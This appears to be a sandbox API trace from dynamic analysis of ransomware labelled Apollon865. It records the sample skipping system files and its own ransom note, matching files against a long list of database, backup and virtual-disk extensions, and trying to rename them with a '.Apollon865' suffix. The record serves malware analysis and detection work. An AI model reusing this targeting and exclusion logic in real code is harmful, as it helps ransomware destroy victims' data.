	[0062.226] lstrcmpiW (lpString1="ContentDirectory.xml", lpString2="pagefile.sys") returned -1
	[0062.226] lstrcmpiW (lpString1="ContentDirectory.xml", lpString2="boot") returned 1
	[0062.226] lstrcmpiW (lpString1="ContentDirectory.xml", lpString2="ids.txt") returned -1
	[0062.226] lstrcmpiW (lpString1="ContentDirectory.xml", lpString2="ntuser.dat") returned -1
	[0062.226] lstrcmpiW (lpString1="ContentDirectory.xml", lpString2="perflogs") returned -1
	[0062.226] lstrcmpiW (lpString1="ContentDirectory.xml", lpString2="MSBuild") returned -1
	[0062.226] lstrlenW (lpString="ContentDirectory.xml") returned 20
	[0062.226] lstrlenW (lpString="C:\\Program Files\\Windows Media Player\\Network Sharing\\ConnectionManager.xml") returned 75
	[0062.226] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="ContentDirectory.xml" | out: lpString1="ContentDirectory.xml") returned="ContentDirectory.xml"
	[0062.226] lstrlenW (lpString="ContentDirectory.xml") returned 20
	[0062.226] lstrlenW (lpString="Apollon865") returned 10
	[0062.226] lstrcmpiW (lpString1="ectory.xml", lpString2="Apollon865") returned 1
	[0062.226] lstrlenW (lpString=".dll") returned 4
	[0062.226] lstrcmpiW (lpString1="ContentDirectory.xml", lpString2=".dll") returned 1
	[0062.226] lstrlenW (lpString=".lnk") returned 4
	[0062.226] lstrcmpiW (lpString1="ContentDirectory.xml", lpString2=".lnk") returned 1
	[0062.226] lstrlenW (lpString=".ini") returned 4
	[0062.226] lstrcmpiW (lpString1="ContentDirectory.xml", lpString2=".ini") returned 1
	[0062.226] lstrlenW (lpString=".sys") returned 4
	[0062.226] lstrcmpiW (lpString1="ContentDirectory.xml", lpString2=".sys") returned 1
	[0062.226] lstrlenW (lpString="ContentDirectory.xml") returned 20
	[0062.226] lstrlenW (lpString="bak") returned 3
	[0062.226] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0062.226] lstrlenW (lpString="ba_") returned 3
	[0062.226] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0062.226] lstrlenW (lpString="dbb") returned 3
	[0062.227] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0062.227] lstrlenW (lpString="vmdk") returned 4
	[0062.227] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0062.227] lstrlenW (lpString="rar") returned 3
	[0062.227] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0062.227] lstrlenW (lpString="zip") returned 3
	[0062.227] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0062.227] lstrlenW (lpString="tgz") returned 3
	[0062.227] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0062.227] lstrlenW (lpString="vbox") returned 4
	[0062.227] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0062.227] lstrlenW (lpString="vdi") returned 3
	[0062.227] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0062.227] lstrlenW (lpString="vhd") returned 3
	[0062.227] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0062.227] lstrlenW (lpString="vhdx") returned 4
	[0062.227] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0062.227] lstrlenW (lpString="avhd") returned 4
	[0062.227] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0062.227] lstrlenW (lpString="db") returned 2
	[0062.227] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0062.227] lstrlenW (lpString="db2") returned 3
	[0062.227] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0062.227] lstrlenW (lpString="db3") returned 3
	[0062.227] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0062.227] lstrlenW (lpString="dbf") returned 3
	[0062.227] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0062.227] lstrlenW (lpString="mdf") returned 3
	[0062.227] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0062.227] lstrlenW (lpString="mdb") returned 3
	[0062.227] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0062.227] lstrlenW (lpString="sql") returned 3
	[0062.227] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0062.227] lstrlenW (lpString="sqlite") returned 6
	[0062.227] lstrcmpiW (lpString1="ry.xml", lpString2="sqlite") returned -1
	[0062.228] lstrlenW (lpString="sqlite3") returned 7
	[0062.228] lstrcmpiW (lpString1="ory.xml", lpString2="sqlite3") returned -1
	[0062.228] lstrlenW (lpString="sqlitedb") returned 8
	[0062.228] lstrcmpiW (lpString1="tory.xml", lpString2="sqlitedb") returned 1
	[0062.228] lstrlenW (lpString="xml") returned 3
	[0062.228] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0062.228] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\Network Sharing\\ContentDirectory.xml.Apollon865") returned 85
	[0062.228] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\ContentDirectory.xml" (normalized: "c:\\program files\\windows media player\\network sharing\\contentdirectory.xml"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\ContentDirectory.xml.Apollon865" (normalized: "c:\\program files\\windows media player\\network sharing\\contentdirectory.xml.apollon865"), dwFlags=0x1) returned 0
	[0062.228] GetLastError () returned 0x5
	[0062.228] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Windows Media Player\\Network Sharing\\ContentDirectory.xml MoveFileEx error 5\r\n") returned 103
	[0062.228] lstrlenA (lpString="[ERROR] C:\\Program Files\\Windows Media Player\\Network Sharing\\ContentDirectory.xml MoveFileEx error 5\r\n") returned 103
	[0062.229] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0062.229] SetFilePointer (in: hFile=0x118, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2930
	[0062.229] WriteFile (in: hFile=0x118, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x67, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x67, lpOverlapped=0x0) returned 1
	[0062.229] CloseHandle (hObject=0x118) returned 1
	[0062.229] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0062.229] CloseHandle (hObject=0x0) returned 0
	[0062.229] CloseHandle (hObject=0x0) returned 0
	[0062.229] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d28df70, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3d28df70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0062.229] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0062.230] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf38ba92, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf38ba92, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2edf75, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa0e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MediaReceiverRegistrar.xml", cAlternateFileName="")) returned 1
	[0062.230] lstrcmpiW (lpString1="MediaReceiverRegistrar.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0062.230] lstrcmpiW (lpString1="MediaReceiverRegistrar.xml", lpString2="Apollon865.txt.exe") returned 1
	[0062.230] lstrcmpiW (lpString1="MediaReceiverRegistrar.xml", lpString2=".") returned 1
	[0062.230] lstrcmpiW (lpString1="MediaReceiverRegistrar.xml", lpString2="..") returned 1
	[0062.230] lstrcmpiW (lpString1="MediaReceiverRegistrar.xml", lpString2="windows") returned -1
	[0062.230] lstrcmpiW (lpString1="MediaReceiverRegistrar.xml", lpString2="bootmgr") returned 1
	[0062.230] lstrcmpiW (lpString1="MediaReceiverRegistrar.xml", lpString2="temp") returned -1
	[0062.230] lstrcmpiW (lpString1="MediaReceiverRegistrar.xml", lpString2="pagefile.sys") returned -1
	[0062.230] lstrcmpiW (lpString1="MediaReceiverRegistrar.xml", lpString2="boot") returned 1
	[0062.230] lstrcmpiW (lpString1="MediaReceiverRegistrar.xml", lpString2="ids.txt") returned 1
	[0062.230] lstrcmpiW (lpString1="MediaReceiverRegistrar.xml", lpString2="ntuser.dat") returned -1
	[0062.230] lstrcmpiW (lpString1="MediaReceiverRegistrar.xml", lpString2="perflogs") returned -1
	[0062.230] lstrcmpiW (lpString1="MediaReceiverRegistrar.xml", lpString2="MSBuild") returned -1
	[0062.230] lstrlenW (lpString="MediaReceiverRegistrar.xml") returned 26
	[0062.230] lstrlenW (lpString="C:\\Program Files\\Windows Media Player\\Network Sharing\\ContentDirectory.xml") returned 74
	[0062.230] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="MediaReceiverRegistrar.xml" | out: lpString1="MediaReceiverRegistrar.xml") returned="MediaReceiverRegistrar.xml"
	[0062.230] lstrlenW (lpString="MediaReceiverRegistrar.xml") returned 26
	[0062.230] lstrlenW (lpString="Apollon865") returned 10
	[0062.230] lstrcmpiW (lpString1="istrar.xml", lpString2="Apollon865") returned 1
	[0062.230] lstrlenW (lpString=".dll") returned 4
	[0062.230] lstrcmpiW (lpString1="MediaReceiverRegistrar.xml", lpString2=".dll") returned 1
	[0062.230] lstrlenW (lpString=".lnk") returned 4
	[0062.230] lstrcmpiW (lpString1="MediaReceiverRegistrar.xml", lpString2=".lnk") returned 1
	[0062.230] lstrlenW (lpString=".ini") returned 4
	[0062.230] lstrcmpiW (lpString1="MediaReceiverRegistrar.xml", lpString2=".ini") returned 1
	[0062.230] lstrlenW (lpString=".sys") returned 4
	[0062.230] lstrcmpiW (lpString1="MediaReceiverRegistrar.xml", lpString2=".sys") returned 1
	[0062.230] lstrlenW (lpString="MediaReceiverRegistrar.xml") returned 26
	[0062.230] lstrlenW (lpString="bak") returned 3
	[0062.230] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0062.230] lstrlenW (lpString="ba_") returned 3
	[0062.230] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0062.231] lstrlenW (lpString="dbb") returned 3
	[0062.231] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0062.231] lstrlenW (lpString="vmdk") returned 4
	[0062.231] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0062.231] lstrlenW (lpString="rar") returned 3
	[0062.231] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0062.231] lstrlenW (lpString="zip") returned 3
	[0062.231] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0062.231] lstrlenW (lpString="tgz") returned 3
	[0062.231] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0062.231] lstrlenW (lpString="vbox") returned 4
	[0062.231] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0062.231] lstrlenW (lpString="vdi") returned 3
	[0062.231] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0062.231] lstrlenW (lpString="vhd") returned 3
	[0062.231] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0062.231] lstrlenW (lpString="vhdx") returned 4
	[0062.231] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0062.231] lstrlenW (lpString="avhd") returned 4
	[0062.231] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0062.231] lstrlenW (lpString="db") returned 2
	[0062.231] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0062.231] lstrlenW (lpString="db2") returned 3
	[0062.231] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0062.231] lstrlenW (lpString="db3") returned 3
	[0062.231] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0062.231] lstrlenW (lpString="dbf") returned 3
	[0062.231] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0062.231] lstrlenW (lpString="mdf") returned 3
	[0062.231] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0062.231] lstrlenW (lpString="mdb") returned 3
	[0062.231] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0062.231] lstrlenW (lpString="sql") returned 3
	[0062.231] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0062.231] lstrlenW (lpString="sqlite") returned 6
	[0062.232] lstrcmpiW (lpString1="ar.xml", lpString2="sqlite") returned -1
	[0062.232] lstrlenW (lpString="sqlite3") returned 7
	[0062.232] lstrcmpiW (lpString1="rar.xml", lpString2="sqlite3") returned -1
	[0062.232] lstrlenW (lpString="sqlitedb") returned 8
	[0062.232] lstrcmpiW (lpString1="trar.xml", lpString2="sqlitedb") returned 1
	[0062.232] lstrlenW (lpString="xml") returned 3
	[0062.232] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0062.232] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\Network Sharing\\MediaReceiverRegistrar.xml.Apollon865") returned 91
	[0062.232] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\MediaReceiverRegistrar.xml" (normalized: "c:\\program files\\windows media player\\network sharing\\mediareceiverregistrar.xml"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\MediaReceiverRegistrar.xml.Apollon865" (normalized: "c:\\program files\\windows media player\\network sharing\\mediareceiverregistrar.xml.apollon865"), dwFlags=0x1) returned 0
	[0062.232] GetLastError () returned 0x5
	[0062.232] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Windows Media Player\\Network Sharing\\MediaReceiverRegistrar.xml MoveFileEx error 5\r\n") returned 109
	[0062.232] lstrlenA (lpString="[ERROR] C:\\Program Files\\Windows Media Player\\Network Sharing\\MediaReceiverRegistrar.xml MoveFileEx error 5\r\n") returned 109
	[0062.232] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0062.232] SetFilePointer (in: hFile=0x118, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2997
	[0062.232] WriteFile (in: hFile=0x118, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x6d, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x6d, lpOverlapped=0x0) returned 1
	[0062.232] CloseHandle (hObject=0x118) returned 1
	[0062.233] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0062.233] CloseHandle (hObject=0x0) returned 0
	[0062.233] CloseHandle (hObject=0x0) returned 0
	[0062.233] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf38ba92, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf38ba92, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2edf75, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5352, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wmpnss_bw120.jpg", cAlternateFileName="")) returned 1
	[0062.233] lstrcmpiW (lpString1="wmpnss_bw120.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0062.233] lstrcmpiW (lpString1="wmpnss_bw120.jpg", lpString2="Apollon865.txt.exe") returned 1
	[0062.233] lstrcmpiW (lpString1="wmpnss_bw120.jpg", lpString2=".") returned 1
	[0062.233] lstrcmpiW (lpString1="wmpnss_bw120.jpg", lpString2="..") returned 1
	[0062.233] lstrcmpiW (lpString1="wmpnss_bw120.jpg", lpString2="windows") returned 1
	[0062.233] lstrcmpiW (lpString1="wmpnss_bw120.jpg", lpString2="bootmgr") returned 1
	[0062.233] lstrcmpiW (lpString1="wmpnss_bw120.jpg", lpString2="temp") returned 1
	[0062.233] lstrcmpiW (lpString1="wmpnss_bw120.jpg", lpString2="pagefile.sys") returned 1
	[0062.233] lstrcmpiW (lpString1="wmpnss_bw120.jpg", lpString2="boot") returned 1
	[0062.233] lstrcmpiW (lpString1="wmpnss_bw120.jpg", lpString2="ids.txt") returned 1
	[0062.233] lstrcmpiW (lpString1="wmpnss_bw120.jpg", lpString2="ntuser.dat") returned 1
	[0062.233] lstrcmpiW (lpString1="wmpnss_bw120.jpg", lpString2="perflogs") returned 1
	[0062.233] lstrcmpiW (lpString1="wmpnss_bw120.jpg", lpString2="MSBuild") returned 1
	[0062.233] lstrlenW (lpString="wmpnss_bw120.jpg") returned 16
	[0062.233] lstrlenW (lpString="C:\\Program Files\\Windows Media Player\\Network Sharing\\MediaReceiverRegistrar.xml") returned 80
	[0062.233] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="wmpnss_bw120.jpg" | out: lpString1="wmpnss_bw120.jpg") returned="wmpnss_bw120.jpg"
	[0062.233] lstrlenW (lpString="wmpnss_bw120.jpg") returned 16
	[0062.233] lstrlenW (lpString="Apollon865") returned 10
	[0062.233] lstrcmpiW (lpString1="_bw120.jpg", lpString2="Apollon865") returned -1
	[0062.233] lstrlenW (lpString=".dll") returned 4
	[0062.233] lstrcmpiW (lpString1="wmpnss_bw120.jpg", lpString2=".dll") returned 1
	[0062.233] lstrlenW (lpString=".lnk") returned 4
	[0062.233] lstrcmpiW (lpString1="wmpnss_bw120.jpg", lpString2=".lnk") returned 1
	[0062.233] lstrlenW (lpString=".ini") returned 4
	[0062.233] lstrcmpiW (lpString1="wmpnss_bw120.jpg", lpString2=".ini") returned 1
	[0062.233] lstrlenW (lpString=".sys") returned 4
	[0062.234] lstrcmpiW (lpString1="wmpnss_bw120.jpg", lpString2=".sys") returned 1
	[0062.234] lstrlenW (lpString="wmpnss_bw120.jpg") returned 16
	[0062.234] lstrlenW (lpString="bak") returned 3
	[0062.234] lstrcmpiW (lpString1="jpg", lpString2="bak") returned 1
	[0062.234] lstrlenW (lpString="ba_") returned 3
	[0062.234] lstrcmpiW (lpString1="jpg", lpString2="ba_") returned 1
	[0062.234] lstrlenW (lpString="dbb") returned 3
	[0062.234] lstrcmpiW (lpString1="jpg", lpString2="dbb") returned 1
	[0062.234] lstrlenW (lpString="vmdk") returned 4
	[0062.234] lstrcmpiW (lpString1=".jpg", lpString2="vmdk") returned -1
	[0062.234] lstrlenW (lpString="rar") returned 3
	[0062.234] lstrcmpiW (lpString1="jpg", lpString2="rar") returned -1
	[0062.234] lstrlenW (lpString="zip") returned 3
	[0062.234] lstrcmpiW (lpString1="jpg", lpString2="zip") returned -1
	[0062.234] lstrlenW (lpString="tgz") returned 3
	[0062.234] lstrcmpiW (lpString1="jpg", lpString2="tgz") returned -1
	[0062.234] lstrlenW (lpString="vbox") returned 4
	[0062.234] lstrcmpiW (lpString1=".jpg", lpString2="vbox") returned -1
	[0062.234] lstrlenW (lpString="vdi") returned 3
	[0062.234] lstrcmpiW (lpString1="jpg", lpString2="vdi") returned -1
	[0062.234] lstrlenW (lpString="vhd") returned 3
	[0062.234] lstrcmpiW (lpString1="jpg", lpString2="vhd") returned -1
	[0062.234] lstrlenW (lpString="vhdx") returned 4
	[0062.234] lstrcmpiW (lpString1=".jpg", lpString2="vhdx") returned -1
	[0062.234] lstrlenW (lpString="avhd") returned 4
	[0062.234] lstrcmpiW (lpString1=".jpg", lpString2="avhd") returned -1
	[0062.234] lstrlenW (lpString="db") returned 2
	[0062.234] lstrcmpiW (lpString1="pg", lpString2="db") returned 1
	[0062.234] lstrlenW (lpString="db2") returned 3
	[0062.234] lstrcmpiW (lpString1="jpg", lpString2="db2") returned 1
	[0062.234] lstrlenW (lpString="db3") returned 3
	[0062.234] lstrcmpiW (lpString1="jpg", lpString2="db3") returned 1
	[0062.234] lstrlenW (lpString="dbf") returned 3
	[0062.234] lstrcmpiW (lpString1="jpg", lpString2="dbf") returned 1
	[0062.235] lstrlenW (lpString="mdf") returned 3
	[0062.235] lstrcmpiW (lpString1="jpg", lpString2="mdf") returned -1
	[0062.235] lstrlenW (lpString="mdb") returned 3
	[0062.235] lstrcmpiW (lpString1="jpg", lpString2="mdb") returned -1
	[0062.235] lstrlenW (lpString="sql") returned 3
	[0062.235] lstrcmpiW (lpString1="jpg", lpString2="sql") returned -1
	[0062.235] lstrlenW (lpString="sqlite") returned 6
	[0062.235] lstrcmpiW (lpString1="20.jpg", lpString2="sqlite") returned -1
	[0062.235] lstrlenW (lpString="sqlite3") returned 7
	[0062.235] lstrcmpiW (lpString1="120.jpg", lpString2="sqlite3") returned -1
	[0062.235] lstrlenW (lpString="sqlitedb") returned 8
	[0062.235] lstrcmpiW (lpString1="w120.jpg", lpString2="sqlitedb") returned 1
	[0062.235] lstrlenW (lpString="xml") returned 3
	[0062.235] lstrcmpiW (lpString1="jpg", lpString2="xml") returned -1
	[0062.235] lstrlenW (lpString="$er") returned 3
	[0062.235] lstrcmpiW (lpString1="jpg", lpString2="$er") returned 1
	[0062.235] lstrlenW (lpString="4dd") returned 3
	[0062.235] lstrcmpiW (lpString1="jpg", lpString2="4dd") returned 1
	[0062.235] lstrlenW (lpString="4dl") returned 3
	[0062.235] lstrcmpiW (lpString1="jpg", lpString2="4dl") returned 1
	[0062.235] lstrlenW (lpString="^^^") returned 3
	[0062.235] lstrcmpiW (lpString1="jpg", lpString2="^^^") returned 1
	[0062.235] lstrlenW (lpString="abs") returned 3
	[0062.235] lstrcmpiW (lpString1="jpg", lpString2="abs") returned 1
	[0062.235] lstrlenW (lpString="abx") returned 3
	[0062.235] lstrcmpiW (lpString1="jpg", lpString2="abx") returned 1
	[0062.235] lstrlenW (lpString="accdb") returned 5
	[0062.235] lstrcmpiW (lpString1="0.jpg", lpString2="accdb") returned -1
	[0062.235] lstrlenW (lpString="accdc") returned 5
	[0062.235] lstrcmpiW (lpString1="0.jpg", lpString2="accdc") returned -1
	[0062.235] lstrlenW (lpString="accde") returned 5
	[0062.235] lstrcmpiW (lpString1="0.jpg", lpString2="accde") returned -1
	[0062.235] lstrlenW (lpString="accdr") returned 5
	[0062.235] lstrcmpiW (lpString1="0.jpg", lpString2="accdr") returned -1
	[0062.235] lstrlenW (lpString="accdt") returned 5
	[0062.236] lstrcmpiW (lpString1="0.jpg", lpString2="accdt") returned -1
	[0062.236] lstrlenW (lpString="accdw") returned 5
	[0062.236] lstrcmpiW (lpString1="0.jpg", lpString2="accdw") returned -1
	[0062.236] lstrlenW (lpString="accft") returned 5
	[0062.236] lstrcmpiW (lpString1="0.jpg", lpString2="accft") returned -1
	[0062.236] lstrlenW (lpString="adb") returned 3
	[0062.236] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0062.236] lstrlenW (lpString="adb") returned 3
	[0062.236] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0062.236] lstrlenW (lpString="ade") returned 3
	[0062.236] lstrcmpiW (lpString1="jpg", lpString2="ade") returned 1
	[0062.236] lstrlenW (lpString="adf") returned 3
	[0062.236] lstrcmpiW (lpString1="jpg", lpString2="adf") returned 1
	[0062.236] lstrlenW (lpString="adn") returned 3
	[0062.236] lstrcmpiW (lpString1="jpg", lpString2="adn") returned 1
	[0062.236] lstrlenW (lpString="adp") returned 3
	[0062.236] lstrcmpiW (lpString1="jpg", lpString2="adp") returned 1
	[0062.236] lstrlenW (lpString="alf") returned 3
	[0062.236] lstrcmpiW (lpString1="jpg", lpString2="alf") returned 1
	[0062.236] lstrlenW (lpString="ask") returned 3
	[0062.236] lstrcmpiW (lpString1="jpg", lpString2="ask") returned 1
	[0062.236] lstrlenW (lpString="btr") returned 3
	[0062.236] lstrcmpiW (lpString1="jpg", lpString2="btr") returned 1
	[0062.236] lstrlenW (lpString="cat") returned 3
	[0062.236] lstrcmpiW (lpString1="jpg", lpString2="cat") returned 1
	[0062.236] lstrlenW (lpString="cdb") returned 3
	[0062.236] lstrcmpiW (lpString1="jpg", lpString2="cdb") returned 1
	[0062.236] lstrlenW (lpString="ckp") returned 3
	[0062.236] lstrcmpiW (lpString1="jpg", lpString2="ckp") returned 1
	[0062.236] lstrlenW (lpString="cma") returned 3
	[0062.236] lstrcmpiW (lpString1="jpg", lpString2="cma") returned 1
	[0062.236] lstrlenW (lpString="cpd") returned 3
	[0062.236] lstrcmpiW (lpString1="jpg", lpString2="cpd") returned 1
	[0062.236] lstrlenW (lpString="dacpac") returned 6
	[0062.236] lstrcmpiW (lpString1="20.jpg", lpString2="dacpac") returned -1
	[0062.237] lstrlenW (lpString="dad") returned 3
	[0062.237] lstrcmpiW (lpString1="jpg", lpString2="dad") returned 1
	[0062.237] lstrlenW (lpString="dadiagrams") returned 10
	[0062.237] lstrcmpiW (lpString1="_bw120.jpg", lpString2="dadiagrams") returned -1
	[0062.237] lstrlenW (lpString="daschema") returned 8
	[0062.237] lstrcmpiW (lpString1="w120.jpg", lpString2="daschema") returned 1
	[0062.237] lstrlenW (lpString="db-journal") returned 10
	[0062.237] lstrcmpiW (lpString1="_bw120.jpg", lpString2="db-journal") returned -1
	[0062.237] lstrlenW (lpString="db-shm") returned 6
	[0062.237] lstrcmpiW (lpString1="20.jpg", lpString2="db-shm") returned -1
	[0062.237] lstrlenW (lpString="db-wal") returned 6
	[0062.237] lstrcmpiW (lpString1="20.jpg", lpString2="db-wal") returned -1
	[0062.237] lstrlenW (lpString="dbc") returned 3
	[0062.237] lstrcmpiW (lpString1="jpg", lpString2="dbc") returned 1
	[0062.237] lstrlenW (lpString="dbs") returned 3
	[0062.237] lstrcmpiW (lpString1="jpg", lpString2="dbs") returned 1
	[0062.237] lstrlenW (lpString="dbt") returned 3
	[0062.237] lstrcmpiW (lpString1="jpg", lpString2="dbt") returned 1
	[0062.237] lstrlenW (lpString="dbv") returned 3
	[0062.237] lstrcmpiW (lpString1="jpg", lpString2="dbv") returned 1
	[0062.237] lstrlenW (lpString="dbx") returned 3
	[0062.237] lstrcmpiW (lpString1="jpg", lpString2="dbx") returned 1
	[0062.237] lstrlenW (lpString="dcb") returned 3
	[0062.237] lstrcmpiW (lpString1="jpg", lpString2="dcb") returned 1
	[0062.237] lstrlenW (lpString="dct") returned 3
	[0062.237] lstrcmpiW (lpString1="jpg", lpString2="dct") returned 1
	[0062.237] lstrlenW (lpString="dcx") returned 3
	[0062.237] lstrcmpiW (lpString1="jpg", lpString2="dcx") returned 1
	[0062.237] lstrlenW (lpString="ddl") returned 3
	[0062.237] lstrcmpiW (lpString1="jpg", lpString2="ddl") returned 1
	[0062.237] lstrlenW (lpString="dlis") returned 4
	[0062.237] lstrcmpiW (lpString1=".jpg", lpString2="dlis") returned -1
	[0062.237] lstrlenW (lpString="dp1") returned 3
	[0062.238] lstrcmpiW (lpString1="jpg", lpString2="dp1") returned 1
	[0062.238] lstrlenW (lpString="dqy") returned 3
	[0062.238] lstrcmpiW (lpString1="jpg", lpString2="dqy") returned 1
	[0062.238] lstrlenW (lpString="dsk") returned 3
	[0062.238] lstrcmpiW (lpString1="jpg", lpString2="dsk") returned 1
	[0062.238] lstrlenW (lpString="dsn") returned 3
	[0062.238] lstrcmpiW (lpString1="jpg", lpString2="dsn") returned 1
	[0062.238] lstrlenW (lpString="dtsx") returned 4
	[0062.238] lstrcmpiW (lpString1=".jpg", lpString2="dtsx") returned -1
	[0062.238] lstrlenW (lpString="dxl") returned 3
	[0062.238] lstrcmpiW (lpString1="jpg", lpString2="dxl") returned 1
	[0062.238] lstrlenW (lpString="eco") returned 3
	[0062.238] lstrcmpiW (lpString1="jpg", lpString2="eco") returned 1
	[0062.238] lstrlenW (lpString="ecx") returned 3
	[0062.238] lstrcmpiW (lpString1="jpg", lpString2="ecx") returned 1
	[0062.238] lstrlenW (lpString="edb") returned 3
	[0062.238] lstrcmpiW (lpString1="jpg", lpString2="edb") returned 1
	[0062.238] lstrlenW (lpString="epim") returned 4
